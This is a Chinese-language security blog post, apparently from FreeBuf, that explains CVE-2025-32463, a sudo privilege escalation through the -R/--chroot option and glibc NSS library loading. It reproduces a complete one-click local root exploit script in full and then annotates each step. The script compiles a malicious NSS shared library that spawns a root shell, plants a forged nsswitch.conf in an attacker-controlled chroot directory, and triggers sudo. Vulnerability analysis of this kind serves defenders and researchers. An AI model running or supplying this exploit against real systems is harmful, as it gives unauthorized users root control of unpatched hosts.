1️⃣ 背景:
这个漏洞原理主要就是利用sudo的一个-R/--chroot选项
那么这个选项是干什么的呢?
从1.9.14版本的sudo开始,便引用了-R(--chroot)选项,本意是是用来让用户通过该选项指定chroot的目录下执行具有root权限的命令,保证执行环境的隔离。
2️⃣ 核心
那漏洞点就来了,因为sudo在解析与sudoers的相匹配的命令之前会先进入一个我们可以控制的chroot环境,也就是我们-R指定的目录下。而当我们在这个目录下写一些恶意的配置文件如:
/etc/nsswitch.conf- 恶意
libnss_*.so动态链接库 /etc/passwd,/etc/group等
当sudo解析用户、组、主机名等权限进行匹配 glibc NSS(Name Service Switch) 时,会触发 glibc NSS(Name Service Switch)机制我们写在该目录下的恶意动态库,从而实现提权。
具体流程如下:
- 在 执行 sudoers 检查之前,需要解析用户信息。
- 用户信息解析依赖
getpwnam()等 glibc 函数。 - glibc 根据
/etc/nsswitch.conf加载libnss_*动态库。 - 因已进入可控
chroot环境,因此加载了用户伪造的恶意库。 - 恶意库在加载时即在 root 权限下执行任意代码。
- 从而无需匹配 sudoers,即可直接执行任意代码。
本质是:NSS模块加载在 root权限且在 sudoers检查之前触发,因此造成绕过权限控制的提权。
一键提权exp
脚本来源于https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
可以看到,很丝滑,一键提权 ^_^

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹我们来解析一下这个exp
第一部分
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1- 在
/tmp创建一个临时工作目录用于放置攻击文件,避免污染系统。 - 进入该目录进行后续操作。
二
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF这个就是写的一个恶意的NSS动态库,其中设置了权限setreuid(0,0); setregid(0,0); 为root,后面就是切换工作目录为/ 最后获得一个root权限的shell。__attribute__((constructor))修饰的woot()在库被加载时立即执行
三
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc这里就是构造了一个chroot环境
woot/etc:模拟 chroot 环境的/etc/。libnss_:用于存放伪造的 NSS 动态库。
伪造的nsswitch.conf:
echo "passwd: /woot1337" > woot/etc/nsswitch.conf指定在解析passwd时优先加载libnss_woot1337.so.2。
注意:/woot1337被解释为libnss_/woot1337.so.2(glibc NSS 加载机制会在前缀后自动补全libnss_<name>.so.2)
四
最后就是编译写好的NSS动态库
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c-shared: 生成共享库。-fPIC: 生成位置无关代码。-Wl,-init,woot: 链接器选项,执行woot()函数时自动运行(与 constructor 功能类似,双保险)。
此动态库在被加载时立即执行woot(),提权并执行/bin/bash。
最后就是执行exploit
echo "woot!"
sudo -R woot woot-R woot→ 切换根目录至当前目录下的woot/
执行命令woot(此处woot可不存在,因为漏洞点在于执行前会加载 NSS
总结触发的流程
触发流程:
- Sudo 以 root 权限进入 chroot(此时路径为攻击者可控的
woot/)。 - 在
woot/etc/nsswitch.conf中配置优先使用/woot1337NSS。 - glibc 在解析用户信息时加载可控路径
libnss_/woot1337.so.2。 - 恶意动态库被加载,执行
woot(),提权并启动/bin/bash以 root 权限运行
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



